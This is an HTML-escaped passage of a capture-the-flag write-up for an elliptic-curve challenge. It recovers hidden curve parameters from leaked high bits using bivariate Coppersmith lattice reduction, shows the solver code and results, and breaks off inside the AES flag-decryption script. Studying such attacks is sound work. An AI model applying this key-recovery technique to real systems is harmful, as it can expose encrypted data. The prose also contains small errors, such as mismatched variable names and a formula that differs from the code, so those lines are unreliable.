&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="problem-statement-4">Problem Statement&lt;/h3>
&lt;p>The program generates random secret elliptic curve parameters and allows the user to:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Option 1: Obtain the modulus &lt;code>p&lt;/code> and a few MSB bits of ECC parameters.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Option 2: Provide the encrypted &lt;code>FLAG&lt;/code>.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Unlike the previous one, now the server doesn&amp;rsquo;t provide an option to generate random points, instead it gives players only one point at the beginning. The objective is to recover curve&amp;rsquo;s parameters given a single point of the curve, &lt;code>p&lt;/code> and the most significant bits of &lt;code>a&lt;/code> and &lt;code>b&lt;/code>.&lt;/p>
&lt;h3 id="initial-analysis-5">Initial Analysis&lt;/h3>
&lt;h4 id="aes-encryption">AES Encryption&lt;/h4>
&lt;p>Easily see that the AES scheme is normal and therefore we can exploit anything from it. The only way to retrieve the &lt;code>FLAG&lt;/code> is finding the key, which means finding the curve&amp;rsquo;s parameters.&lt;/p>
&lt;h4 id="leak-bits">Leak Bits&lt;/h4>
&lt;p>For some $170 \leq r \leq 340$, let&amp;rsquo;s define $a_{h}$ and $b_h$ as the $r$ MSB bits of $a$ and $b$, define $a_l$ and $b_l$ as the remaining bits of $a$ and $b$, respectively. By our definition, we have:&lt;/p>
&lt;p>$a = a_h \times 2^r + a_l$&lt;/p>
&lt;p>$b = b_h \times 2^r + b_l$&lt;/p>
&lt;p>Substitute $a$ and $b$ to the Weierstrass elliptic curve equation, we get:&lt;/p>
&lt;p>$y^2 \equiv x^3 + (2^ra_h + a_l)x + 2^rb_h + b_l \text{ (mod }p)$&lt;/p>
&lt;p>We define a polynomial $F(\alpha, \beta)$ in $GF(p)$ satifies $F(a_l, b_l) = 0$:&lt;/p>
&lt;p>$F(\alpha, \beta) = x_P\alpha + \beta + 2^r a_h \times x_P + 2^rb_h\times x_P - y^2_P$&lt;/p>
&lt;p>where $(x_P, y_P)$ is the known point given by the server at beginning. When having most significant bits of a number known, a typical method to apply is Coppersmith, particularly bivariate polynomial Coppersmith in this time.&lt;/p>
&lt;h3 id="implementation-and-results">Implementation and Results&lt;/h3>
&lt;p>By connecting to the server, I received these information:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0xe3b0aa3465a71f45fdd6350587d041c481ae061401465aa9e089827ac0548728771f6baf095b5f44bb8410dc9709ea22df72bf635f04475fedeb24f13d488ceb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a_h&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x3128114d5bdecf9388699fd05d1432d444f9e8bda4e620b13445d6f9705721d7dff1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b_h&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x2cf39f8fd105112fdaa7c7144f3e7e7da15e93fa59efc32b2c185bf5151153e7fd07&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x_P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x266dd3ba72bad801e16d03509ae1656b0f137c2382f40a420ff90e40f291073b46ae395f2858ccd719299d786c8191796f882daf2a55760d9c58fbcb6c5355da&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">y_P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x7c24c560a9bf720ff447de5671342787c762508e44a2e269ed0794e5ef33f9014f1dd53d8a3ebcb301d5fecdfde4d2413ee079b0ad8e716729c0123787d7fa4d&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;8ace74afe026aab8ff1288a9076141fb&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;a07c4ac6d8dc0abe11d955a79e37d8b21721704dfccf6f3938646c74b1c3374f6d0f8e71962e48c405c629533c804ea0&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The good implementation of multivariate Coppersmith I used is in &lt;a href="https://github.com/defund/coppersmith" target="_blank" rel="noopener">this repo&lt;/a> of Defund:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">itertools&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">small_roots&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">bounds&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">m&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">d&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">None&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">d&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">d&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">degree&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">R&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">base_ring&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">N&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">R&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cardinality&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span> &lt;span class="o">/=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">coefficients&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">pop&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">change_ring&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ZZ&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">G&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Sequence&lt;/span>&lt;span class="p">([],&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parent&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">base&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">N&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">i&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">shifts&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">itertools&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">product&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">repeat&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">nvariables&lt;/span>&lt;span class="p">()):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">g&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">prod&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">power&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">variables&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">shifts&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">G&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">g&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">B&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">monomials&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">G&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">coefficient_matrix&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">monomials&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">vector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">monomials&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">factors&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">monomial&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">bounds&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">monomial&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">monomials&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">factor&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">enumerate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">factors&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">B&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rescale_col&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">factor&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">B&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">B&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dense_matrix&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">LLL&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">B&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">B&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">change_ring&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">QQ&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">factor&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">enumerate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">factors&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">B&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rescale_col&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">factor&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">H&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Sequence&lt;/span>&lt;span class="p">([],&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parent&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">change_ring&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">QQ&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">h&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">filter&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kc">None&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">B&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">monomials&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">H&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">h&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">I&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">H&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ideal&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">I&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dimension&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">H&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">pop&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">I&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dimension&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">roots&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">root&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">I&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">variety&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ring&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">ZZ&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">root&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">tuple&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">R&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">var&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">var&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">variables&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">roots&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">roots&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">bin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">bin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a_h&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Fp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a_h&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b_h&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">x_P&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y_P&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Fp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">a_h&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b_h&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">x_P&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y_P&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">P&lt;/span>&lt;span class="o">.&amp;lt;&lt;/span>&lt;span class="n">alpha&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">beta&lt;/span>&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PolynomialRing&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Fp&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">F&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">x_P&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">alpha&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">beta&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">x_P&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">3&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">r&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">a_h&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">x_P&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">r&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">b_h&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">y_P&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">roots&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">small_roots&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">F&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">m&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">d&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a_l&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b_l&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">roots&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;a_l = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">a_l&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;b_l = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">b_l&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The results:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">a_l&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">4090003137759760265604501674930222345811449862978588668280246527938919495&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b_l&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">6854882327443898686047723082547152279783184053818145063785025112346556672&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After recovering &lt;code>x_l&lt;/code> and &lt;code>y_l&lt;/code>, I decrypted the &lt;code>FLAG&lt;/code> by this script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">random&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">randint&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">a_h&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="mi">242&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">a_l&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">b_h&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="mi">242&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">b_l&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">()[:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_CBC&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">)&lt;/span>
